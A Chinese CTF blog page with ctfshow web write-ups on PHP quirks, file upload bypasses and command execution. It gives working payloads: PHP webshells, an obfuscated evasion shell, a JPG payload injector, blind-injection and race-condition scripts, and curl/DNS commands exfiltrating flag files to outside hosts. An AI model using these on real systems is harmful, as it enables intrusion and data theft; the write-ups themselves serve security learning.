W1lsp0 发布的文章 - 一个CTFer的小窝
首页
状态
友链
留言
追番
更多
视频
搜 索
1
Docker常用命令
56 阅读
2
Jet全家桶和Navicat激活(仅可用于学生学习使用)
43 阅读
3
CTF show web入门之文件上传
39 阅读
4
华为交换机&路由器命令
37 阅读
5
软考基本知识
33 阅读
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
登录
搜 索
标签搜索
MySQL
数据库
DNS
根服务器
根节点
软件
激活
HVV
云安全
网络安全
W1lsp0
累计撰写
24
篇文章
累计收到
2
条评论
首页
栏目
CTF
SQL注入
文件漏洞
PHP特性
命令执行
云存储
云网络
Linux
kali
OpenWrt
页面
状态
友链
留言
追番
视频
用户登录
登录
找到
21
篇与
W1lsp0
相关的结果
2021-10-19
CTF show web入门之PHP特性
PHP特性分析代码,发现需要绕过正则preg_match():执行正则表达式匹配,使用数组进行绕过,因为正则表达式是无法处理数组的 payload: ?num[]=1 分析代码发现了一个奇怪的函数,intval(),放出官方的文档intval ( mixed $var [, int $base = 10 ] ) : int Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制: 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则, 如果字符串以 "0" 开始,使用 8 进制(octal);否则, 将使用 10 进制 (decimal)。那么分析代码就不难看出只要不是整数的4476就可以了payload:intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格=分析代码,要通过if(preg_match('/^php$/im', $a)),但是不能通过if(preg_match('/^php$/i', $a)),先来了解一下正则匹配的公式。因为第一个有m这个分割符号,所以换行符前面为空,后面是'php'就可以通过第一个过滤,同时爷也能通过第二个同时要求开头和结尾为php的过滤。[hi]payload:%0aphp[/hi]i 不区分(ignore)大小写 m 多(more)行匹配 若存在换行\n并且有开始^或结束$符的情况下, 将以换行为分隔符,逐行进行匹配 $str = "abc\nabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs); 这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。 s 特殊字符圆点 . 中包含换行符 默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符 $str = "abggab\nacbs"; $preg = "/b./s"; preg_match_all($preg, $str,$matchs); 这样匹配到的有三个 bg b\n bs A 强制从目标字符串开头匹配; D 如果使用$限制结尾字符,则不允许结尾有换行; e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 同90同90同90hint:可以通过8进制绕过但是前面必须多加一个字节 ?num=+010574或者?num=%2b010574strpos的作用:查找 "php" 在字符串中第一次出现的位置:所以不能让0第一次出现的位置在第一个,前面加一个+,不会影响数值上面的题目都是要掌握匹配的公式,以便进行绕过。有一些不同,需要改一下不让直接传flag,但是要获得flag文件。就是路径的修改/var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议 分析代码,发现需要post a和b,而且要被定义,同时这两个数还要相等,MD5后的也要相等。看到MD5首先想到数组,因为MD5是无法处理数组的。同时要被定义和赋值,所以两个数组内容不能一致。payload: a[]=0&b[]=2isset作用 :若变量不存在则返回 FALSE若变量存在且其值为NULL,也返回 FALSE若变量存在且值不为NULL,则返回 TURE同时检查多个变量时,每个单项都符合上一条要求时才返回 TRUE,否则结果为 FALSE如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。同时要注意的是一个 NULL 字节("\0")并不等同于 PHP 的 NULL 常数。md5是无法处理数组的,传给a和b两个不同的数组,强加密后都是NULL,所以也是想等的payload=a[]=1&b[]=2php也有三目运算符,分析代码如果传入的get有参数,那么post的参数赋值给get的如果传入的get的‘flag’的值为‘flag’那么传入的cooked参数赋给get如果传入的get的‘flag’的值为‘flag’那么传入的server值赋值给get如果传入的get的HTTP_FLAG的值为flag,那么输出flag因为第一行中的post参数已经覆盖了get的值,所以要post的参数为HTTP_FLAG=flag,get什么都可以难道这个题没有人发现过滤了很多读取的函数??发现给了写入文件的权限,于是先写入一个phpget: http://1337d765-251c-4a50-9aae-6f14a9b15a0a.challenge.ctf.show:8080/?n=123.php post: content=content=<?php eval($_POST[a]);?>然后去访问这个php正常,对这个php穿参a=system('ls');,找到flag文件,去连接这个文件。a=system('od flag36d.php'); 二进制输出tac flag36d.php 直接输出非预期解法:因为过滤的非常少,弱比较只要保证第一个非0,即可保证$v0为真?v1=1&v2=?><?php echo ls?>/*&v3=;*/ #查看所有的文件 ?v1=1&v2=?><?php echo `tac ctf*`?>&v3=; #查看flag,cat已被过滤 ?v1=1&v2=var_dump($ctfshow)/*&v3=*/; #使用var_dump直接输出预期解法:反射类的具体使用方法可参考php官网文档最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow'); payload:?v1=1&v2=echo new ReflectionClass&v3=; 反射类的用法:<?php class A{ public static $flag="flag"; const PI=3.14; static function hello(){ echo "hello</br>"; } } $a=new ReflectionClass('A'); var_dump($a->getConstants()); 获取一组常量 # 输出 array(1) { ["PI"]=> float(3.14) } var_dump($a->getName()); 获取类名 输出 string(1) "A" var_dump($a->getStaticProperties()); 获取静态属性 # 输出 array(1) { ["flag"]=> string(15) "flag" } var_dump($a->getMethods()); 获取类中的方法 # 输出 array(1) { [0]=> object(ReflectionMethod)#2 (2) { ["name"]=> string(5) "hello" ["class"]=> string(1) "A" } }过滤了太多了,无法使用查看的方法连接文件,只能使用输出一个new Class的办法 payload:?v1=1&v2=echo new ReflectionClass&v3=;substr():返回截断后的字符串 新姿势,使用hexbin转换已经转换的一句话木马,然后题目已经截取了前半部分的0x,然后写入一个文件<?php eval($_POST[1]);?> #原内容 3c3f706870206576616c28245f504f53545b315d293b3f3e #转换为16进制的内容 post:v1=hex2bin #负责将16进制转换为字符串的工具试题使用的不是php5?????而是php7,第一关就过不了。 双转换将一句话函数先使用base64加密,再转换成16进制,这样就绕过滤使用0x$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 # 输出115044383959474e6864434171594473 # 带e的话会被认为是科学计数法,可以通过is_numeric检测。 # 去掉11没有影响payload; v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin访问1.php,得到flag只不过过滤了一些东西,使用102的payload也能解出来 payload: v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin好像只比较了hash前后的值,直接传就行 payload: get:?v2=1 post:v1=1考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=sucesGot it!分析代码,因为include('flag.php');,只要能输出flag.php,里面的flag变量就可以<?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); # 1. payload:a=flag post: error=a } echo "your are good".$flag."\n"; die($suces);# 2. payload:suces=flag&flag= ?>使用数组,进行强相等即可 payload:get:/?v2[]=1post:v1[]=2分析代码,传入的v1会被解析成v2的数组。然后对v3的值进行md5加密,和数组v2里面的flag值相同。那么直接传入的v1解析过程中flag的值谁v3md5过后的即可payload:get:?v3=1 post:v1=flag=c4ca4238a0b923820dcc509a6f75849b 第一部分直接匹配有没有字母,必须有自负才行,这样就放弃了纯十进制数字 然后使用%00,这样的话就会匹配到a,但是不会匹配到后面的数字 字符串反转后也只会取到前面的十进制0x36d部分 payload: c=a%00778先来看下这个正则表达式/[a-zA-Z]+/ 匹配至少有一个字母的字符串 所以我们只要让new后面有个类不报错以后,就可以随意构造了。Exception ReflectionClass payload: v1=Exception();system('tac f*');//&v2=a v1=ReflectionClass&v2=system('tac f*')FilesystemIterator类的使用,对目录文件进行遍历getcwd() # getcwd — 取得当前工作目录 getcwd(void):string payload:v1=FilesystemIterator&v2=getcwd: 得到flag文件,直接访问得到flag前两个正则匹配过滤了许多的字符,但是没过滤大小写字母第三个正则需要$v1为ctfshow eval("$$v1 = &$$v2;"); #将GLOBALS 的值赋值给了v1的值得变量,v1值为ctfshow,也就是变量ctfshow的值为¥GLOBALS eval("$ctfshow=&$$v2"); 4. $GLOBALS 通过利用超全局变量将所有可用的变量都打印出来 不能使用base64加没加等操作,而且进入的file文件需要不存在,使用php://filter,来处理但是使用伪协议的过滤器时会先进行一次url编码,所以这里可以用二次编码绕过过滤,payload:?file=php://filter/read=convert.%2562ase64-encode/resource=flag.phpphp://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php 333333333333333333compress.zlib://flag.php与112相比多过滤了filter?file=compress.zlib:///var/www/html/flag.php ?file=compress.zlib://flag.php ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php没有过滤php://filter/,直接读取flag?file=php://filter/resource=flag.php分析得到只要使得$num=36即可得到flag,但是因为过滤了0x ,0等计数方法,只能使用弱比较。 trim() 函数移除字符串两侧的空白字符或其他预定义字符,如果不指定第二个参数,trim() 将去除这些字符:" " (ASCII 32 (0x20)),普通空格符。“\t” (ASCII 9 (0x09)),制表符。“\n” (ASCII 10 (0x0A)),换行符。“\r” (ASCII 13 (0x0D)),回车符。“\0” (ASCII 0 (0x00)),空字节符。“\x0B” (ASCII 11 (0x0B)),垂直制表符。yu师傅的脚本for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } } //%0C (换页符) trim()不会替换这个字符,payload:?num=%0c36web123 有点迷惑性,一开始以为需要绕过if($fl0g==="flag_give_me"),最后发现在前一行有一个eval,可以执行一个php代码。php变量名不允许使用点号,会变成下划线。但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化:CTF[SHOW.COM=>CTF_SHOW.COMpayload:POSTCTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag web125,骚操作:可以使用highlight_file将文件在网页上显示出来, payload:POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])GET:?1=flag.php web126, parse_str:将字符串解析成多个变量 可以在fun的函数调用$a的时候传输多个变量从而使$fl0g==="flag_give_me" payload:POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])GET:?a=1+fl0g=flag_give_me 知识点: $_SERVER['argv']:第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数 #web网页下 在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] $argv,$argc在web模式下不适用 对于传递的参数,可以通过加号+进行分割web127,+ _ [ . + 这里的加号在url中起到空格的作用 ctf%20show->ctf_show %20ctfshow->ctfshowextract($_GET);:可以将一个列表变量转换成单个变量 payload:?ctf%20show->ctf_show 但是这里的%20也就是' '空格还可以替换成上述代码中的其他部分。web128, gettext拓展的使用: gettext("phpinfo")等同于phpinfo(),在开启该拓展后 _() 等效于 gettext()。 call_user_func : 把第一个参数作为回调函数调用,所以 call_user_func('_','phpinfo') 返回的就是phpinfo。 get_defined_vars:此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。payload:?f1=_&f2=get_defined_vars web 129, 考点:php伪协议可以套一层协议,无效的话会被忽略 将套的协议设置成ctfshow,可以忽略这个协议?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php或者直接使用根路径,这样也会出现ctfshow?f=/ctfshow/../../../../../../../var/www/html/flag.phpweb 130,第一个正则表达需要失败,在ctfshow前面要有一个负号,那么直接传输ctfshow就会匹配失败第二个正则表达也需要成功ctfshow,那么根据第一个传输ctfshow, payload:POST:f=ctfshow web131,web130也可以使用 考察点:利用正则最大回溯次数绕过PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了pytho脚本:import requests url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data) print(r.text)web132, 考点:||的优先级小于&&, if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"),前两个条件任意,只要username=admin即可。 if($code == 'admin')根据第一个if那么code=adminpayload:?username=admin&password=1&code=admin web133,两个字:nb传入$F使`$F`="`$F`;+sleep 3"; #这里的+应该是弥补substr($F,0,6);中`$F`;少一位的问题 substr($F,0,6)=`$F`; eval(`$F`;); #这时由于进行了覆盖$F还是等于前面传入的值,也就是`$F`;+sleep 3,对传入的值命令执行然后就是利用curl去带出flag.php,curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)使用方法:payload:?F=$F;+curl -X POST -F xx=@flag.php <下面获得的域名地址,点击后会自动复制>get后在点击下面的刷新,在HTTP中获得flag web 134,对于extract和parse_str的联合使用,$_SERVER['QUERY_STRING'](查询字符串),如果有的话,通过它进行页面访问。 parse_str — 将字符串解析成多个变量 extract — 从数组中将变量导入到当前的符号表parse_str($_SERVER['QUERY_STRING']); var_dump($_POST); #传入 _POST[a]=123也就是说现在有一个列表:a=123然后使用extract,$a==123同理传入?_POST[key1]=36d&_POST[key2]=36d web 135, 在133的基础上增加了curl和其他一些字符的过滤,这时候其实可以通过ping得到flag的 获得DNS payload:?F=$F ;ping awk '/flag/' flag.php.1mlbcw.dnslog.cn web 136,exec没有回显,写入其他文件并下载 ?c=ls /|tee a 下载a这个文件 ?c=cat /f149_15_h3r3|tee c 读取flag web 137, 考察调用类中的函数, 双冒号可以不用实例化类就可以直接调用类中的方法payload:POST:ctfshow=ctfshow::getFlag 扩展:php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.web 138, call_user_func可以传数组,那么可以传入一个数组从而避开对.的过滤payload:ctfshow[0]=ctfshow&ctfshow[1]=getFlag web 139, 在136的基础上限制了写文件的权限,这时候可以考虑用盲打的方式。 猜测文件名import requests import time import string str=string.ascii_letters+string.digits result="" for i in range(1,5): key=0 for j in range(1,15): if key==1: break for n in str: payload="if [ `ls /|awk 'NR=='|cut -c ` == ];then sleep 3;fi".format(i,j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break if n=='9': key=1 result+=" "得到flag文件名为`f149_15_h3r3,再盲注文件内容import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c ` == ];then sleep 3;fi".format(j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) breakweb 140, 利用松散比较 弱比较,0和字符串相等,那么只要intval($code)=0即可 intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0 所以md5(phpinfo()),md5(sleep()),md5(md5())转换后就是字符串,有很多 web 141,先来看下正则表达式 /^\W+$/ 作用是匹配非数字字母下划线的字符 无字符构造命令大佬文章 php是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。那么构造1-命令-1就可以构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)payload:?v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1 web 142, 没啥过滤。。输入一个数字然后会睡眠$d时间,直接传一个0不睡眠 payload:?v1=0 web 143 过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令 具体命令构造大佬文章 payload:v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1web 144 同样是无参构造payload:?v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)web 145 可以使用三目运算符两种payload:?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):&v2=1 ?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1web 146 过滤了冒号,使用145第二种payload:?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1 ?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1web 147create_function('$a','echo $a."123"') # 类似于 function f($a) { echo $a."123"; } #如果传入 echo 1;}phpinfo();// function f($a) { echo 1;}phpinfo();// } #从而执行phpinfo()命令然后是绕过这个正则,用%5c(也就是\),原理在这 payload:post: ctf=%5ccreate_function #%5c绕过正则,给ctfshow赋值create_function创建函数 get: ?show=echo 1;}system('tac flag.php');// #给上方这个函数传参web 148没有过滤^,所以直接异或构造就可以了。 payload:code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); 预期解是中文变量:code=$哈="`[哼]($[嗯]);&哼=system&嗯=tac f* "`{{{"^"?<>/"; 异或出来的结果是 _GETweb 149 看题目描述是条件竞争,不过可以非预期,直接往index.php里写马ctf=index.php show=<?php eval($_POST[1]);?>预期解:ctf=1.php show=<?php system('tac /c*');?>  142. web 150 修改ua头为一句<?=eval($_POST[1]);>; 日志文件是`/var/log/nginx/access.log` 
2021年10月19日
1 阅读
3 评论
0 点赞
2021-10-15
CTF show web入门之文件包含
web151前端会进行检测类型,随便找一个图片上传,burp抓包进行修改使用一句话木马上传,并同时传参获取flag<?php eval($_POST['shell']);?> payload:POST shell=system('tac ../????.???'); web152同151web153上传.user.ini配置文件 原理:https://www.dazhuanlan.com/2020/03/08/5e641cbc397c2/防挂 https://www.cnblogs.com/l0nmar/p/14053889.html 当本目录下拥有.user.ini配置文件时,会首先识别里面的配置。也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。发现auto_append_file和auto_prepend_file一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”) 其中xxx就是 auto_append_file的值。那么可以首先上传一个文件.user.ini,使得所有的文件都去包含下一个要上传的木马。然后上传一个带木马的图片,这样结合前面上传的配置文件可以使得所有的文件都带木马。再去利用这个木马去读取flag:shell=system('tac ../????.???'); auto_append_file="xxx" #.user.ini 配置文件 <?php #木马文件 phpinfo(); eval($_POST['shell']); ?>web154过滤了文件中的php,将php标签换为<?pHp即可web155修改标签为短标签即可绕过短标签:<? echo '123';?> 前提是开启配置参数short_open_tags=on<?=(表达式)?> 等价于 <?php echo (表达式)?> 不需要开启参数设置<% echo '123';%> 前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。<script language="php">echo '123'; </script> 在 php7.0 后已经不解析了。web156过滤了[],使用,进行替代,其他操作同155web157测试过滤了;和,可以转换思路,直接使文件包含读取flag命令的png文件。payload:<?=system('tac ../????.???')?>web158payload:<?=system('tac ../????.???')?>web 159又过滤了括号(),那就十使用票号,也就是反引号。会直接返回shell结果payload: <?=nl ../????.????>使用tac读取文件,返回会在界面直接显示。 使用nl读取文件,文件内容返回在注释里面web 160骚姿势,包含log绕过,因为log也被过滤了,所以payload:<?=include"/var/lo"."g/nginx/access.lo"."g"?> 。因为log会包含上传的ua,所以在ua后加上<?=tac ../????.????>,访问?/upload/index.php读取flagweb 161因为图片文件头会有标识,所以增加了对文件头的标识的检测,加上文件头即可:GIF89Aweb 162基础上又过滤了.。包含不了.log文件了,尝试包含session文件。# coding=utf-8 import io import requests import threading sessID = 'test' url = 'http://4d8cde0e-3cf5-4445-981f-459de20247ef.chall.ctf.show/' def write(session): while event.isSet(): f = io.BytesIO(b'a' * 256 * 1) response = session.post( url, cookies=, data=, files= ) def read(session): while event.isSet(): response = session.get(url + 'upload/index.php'.format(sessID)) if 'flag' in response.text: print(response.text) event.clear() else: print('[*]retrying...') if __name__ == '__main__': event = threading.Event() event.set() with requests.session() as session: for i in range(1, 30): threading.Thread(target=write, args=(session,)).start() for i in range(1, 30): threading.Thread(target=read, args=(session,)).start() web 163同162,直接包含/tmp/sess_testweb 164后端进行二次渲染 ,利用 imagecreatefrompng().png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html这个地方需要使用脚本进行二次渲染的绕过,生成一个木马内容为<?$_GET[0]($_POST[1]);?>,的脚本。上传后只需传参即可得到flag:使用bp抓包进行读取,不可使用Hackbar传参<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>web 165本题为jpg二次渲染绕过先随便上传一张jpg文件到服务器,再下载回来,php exp.php 1.jpg,再上传即可。然后POST传参:1=system("cat flag.php")。但是我失败了,图片上传成功,但是获取不到flagexp.php:<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>web 166前端限制了只能上传ZIP,那就上传一个zip文件包含一句话木马注意修改Content-Type为application/x-zip-compressed,然后使用奕剑连接或者直接POST参数获得flagweb167上传.htaccess文件 ,任意文件解析为php然后上传一个jpg文件包含一句话木马,连接这个木马获得flagpayload:<?php system($_POST[1]);>web168 基础免杀直接蚁剑生成免杀shell<?php // 使用时请删除此行, 连接密码: TyKPuntU ?> <?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>web 169-170使用日志包含。每次上传的UA头都会保存在日志里面,利用.user.ini包含日志文件,从而获得flag
2021年10月15日
25 阅读
1 评论
0 点赞
2021-09-16
CTF_Show之命令执行
命令执行由于过滤了flag,可以使用通配符进行绕过在linux系统中 有一些通配符,匹配任何字符串/文本,包括空字符串;代表任意字符(0个或多个) ls file ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0PAYLOAD:c=system('cat f*');error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }了解 eval函数之后传入 c=echo "npfs";?>ctf <?php system('ls'); 可以看到有 flag.php文件,之后采用include进行包含读取 payload:?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php这个题目的flag藏在注释里面命令执行的函数有很多,但是引号要使用%60 ` 去连接[hi]payload:c=echo cat f*;[hi] 去输出连接的这个文件system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号 同shell_exec() # 这里需要注意一下,只有system函数是有回显的,其他的函数可以通过echo等显示一定要使用漂号空格绕过\> < <> 重定向符%09(需要php环境) $$IFS$9 //用逗号实现了空格功能 %20 %09cat被过滤more:一页一页的显示档案内容less:与 more 类似head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容过滤了括号分号等,[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(/i"[/hi],需要无括号的函数?c=include$_GET[0]?>&0=data://text/plain,<?php%20phpinfo();?> #可以通过<?php连接 获取phpinfo ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php #以base64读取flag payload:?c=include $_GET["npfs"] ?>&npfs=php://filter/read=convert.base64-encode/resource=flag.php #有巨佬的flag是这样写的,无法获得,后来发现是多了双引号和空格。感觉不像是过滤,是查询到后直接拒绝了这条命令又过滤了单双引号[hi]"/flag|system|php|cat|sort|shell|.| |\'|\`|echo|\;|(|\"/i"[/hi] 